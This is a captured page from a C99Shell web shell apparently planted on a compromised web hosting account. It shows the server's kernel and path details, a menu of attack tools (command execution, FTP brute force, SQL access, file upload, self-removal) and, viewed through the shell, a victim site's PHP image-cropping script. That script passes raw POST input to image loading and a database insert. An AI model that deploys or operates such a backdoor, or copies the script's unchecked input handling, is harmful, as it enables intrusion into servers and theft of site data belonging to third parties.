!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.28 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     img_crop_to_file_pago.php (4.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$pagina_actual
="administrar-fotos-productos";
$categoria_actual="productos";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

/*
*    !!! THIS IS JUST AN EXAMPLE !!!, PLEASE USE ImageMagick or some other quality image processing libraries
*/
$imgUrl $_POST['imgUrl'];
// original sizes
$imgInitW $_POST['imgInitW'];
$imgInitH $_POST['imgInitH'];
// resized sizes
$imgW $_POST['imgW'];
$imgH $_POST['imgH'];
// offsets
$imgY1 $_POST['imgY1'];
$imgX1 $_POST['imgX1'];
// crop box
$cropW $_POST['cropW'];
$cropH $_POST['cropH'];
// rotation angle
$angle $_POST['rotation'];

$jpeg_quality 80;

$output_filename "temp/croppedImg_".rand();

// uncomment line below to save the cropped image in the same location as the original image.
//$output_filename = dirname($imgUrl). "/croppedImg_".rand();

$what getimagesize($imgUrl);

switch(
strtolower($what['mime']))
{
    case 
'image/png':
        
$img_r imagecreatefrompng($imgUrl);
        
$source_image imagecreatefrompng($imgUrl);
        
$type '.png';
        break;
    case 
'image/jpeg':
        
$img_r imagecreatefromjpeg($imgUrl);
        
$source_image imagecreatefromjpeg($imgUrl);
        
error_log("jpg");
        
$type '.jpeg';
        break;
    case 
'image/gif':
        
$img_r imagecreatefromgif($imgUrl);
        
$source_image imagecreatefromgif($imgUrl);
        
$type '.gif';
        break;
    default: die(
'image type not supported');
}


//Check write Access to Directory

if(!is_writable(dirname($output_filename))){
    
$response = Array(
        
"status" => 'error',
        
"message" => 'Can`t write cropped File'
    
);    
}else{
/*
    // resize the original image to size of editor
    $resizedImage = imagecreatetruecolor($imgW, $imgH);
    imagecopyresampled($resizedImage, $source_image, 0, 0, 0, 0, $imgW, $imgH, $imgInitW, $imgInitH);
    // rotate the rezized image
    $rotated_image = imagerotate($resizedImage, -$angle, 0);
    // find new width & height of rotated image
    $rotated_width = imagesx($rotated_image);
    $rotated_height = imagesy($rotated_image);
    // diff between rotated & original sizes
    $dx = $rotated_width - $imgW;
    $dy = $rotated_height - $imgH;
    // crop rotated image to fit into original rezized rectangle
    $cropped_rotated_image = imagecreatetruecolor($imgW, $imgH);
    imagecolortransparent($cropped_rotated_image, imagecolorallocate($cropped_rotated_image, 0, 0, 0));
    imagecopyresampled($cropped_rotated_image, $rotated_image, 0, 0, $dx / 2, $dy / 2, $imgW, $imgH, $imgW, $imgH);
    // crop image into selected area
    $final_image = imagecreatetruecolor($cropW, $cropH);
    imagecolortransparent($final_image, imagecolorallocate($final_image, 0, 0, 0));
    imagecopyresampled($final_image, $cropped_rotated_image, 0, 0, $imgX1, $imgY1, $cropW, $cropH, $cropW, $cropH);
    // finally output png image
    //imagepng($final_image, $output_filename.$type, $png_quality);
    imagejpeg($final_image, $output_filename.$type, $jpeg_quality);
*/    

    //extra cds
    
$timestamp=time();    
    
    
//thumb
    
$resizedImage imagecreatetruecolor($imgW$imgH);
    
imagecopyresampled($resizedImage$source_image0000$imgW$imgH$imgInitW$imgInitH);
    
$final_image imagecreatetruecolor($cropW$cropH);
    
imagecopyresampled($final_image$resizedImage00$imgX1$imgY1$cropW$cropH$cropW$cropH);
    
imageinterlace($final_imagetrue);//progresiva
    
imagejpeg($final_image$carpeta_pago_thumb.$timestamp.$type$jpeg_quality);    
    
    
//original
    
$resizedImage imagecreatetruecolor($imgW*$ancho_pago_original/$cropW$imgH*$alto_pago_original/$cropH);
    
imagecopyresampled($resizedImage$source_image0000$imgW*$ancho_pago_original/$cropW$imgH*$alto_pago_original/$cropH$imgInitW$imgInitH);    
    
//hasta aca tengo la imagen achicada un poco sin crop    
    
$final_image imagecreatetruecolor($ancho_pago_original$alto_pago_original);    
    
imagecopyresampled($final_image$resizedImage00$imgX1*$ancho_pago_original/$cropW$imgY1*$alto_pago_original/$cropH$ancho_pago_original$alto_pago_original$ancho_pago_original$alto_pago_original);    
    
imageinterlace($final_imagetrue);//progresiva
    
imagejpeg($final_image$carpeta_pago_original.$timestamp.$type$jpeg_quality);
    
    
$nombre_archivo=$timestamp.$type;

    
$result=$mysqli->query("
    INSERT INTO foto_pago (nombre, orden)    
    VALUES (
    '
$nombre_archivo',
    '99999'
    )"
);    
    
    
//hasta aca
    
    
$response = Array(
        
"status" => 'success',
        
"url" => $output_filename.$type
    
);
}
print 
json_encode($response);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.597 ]--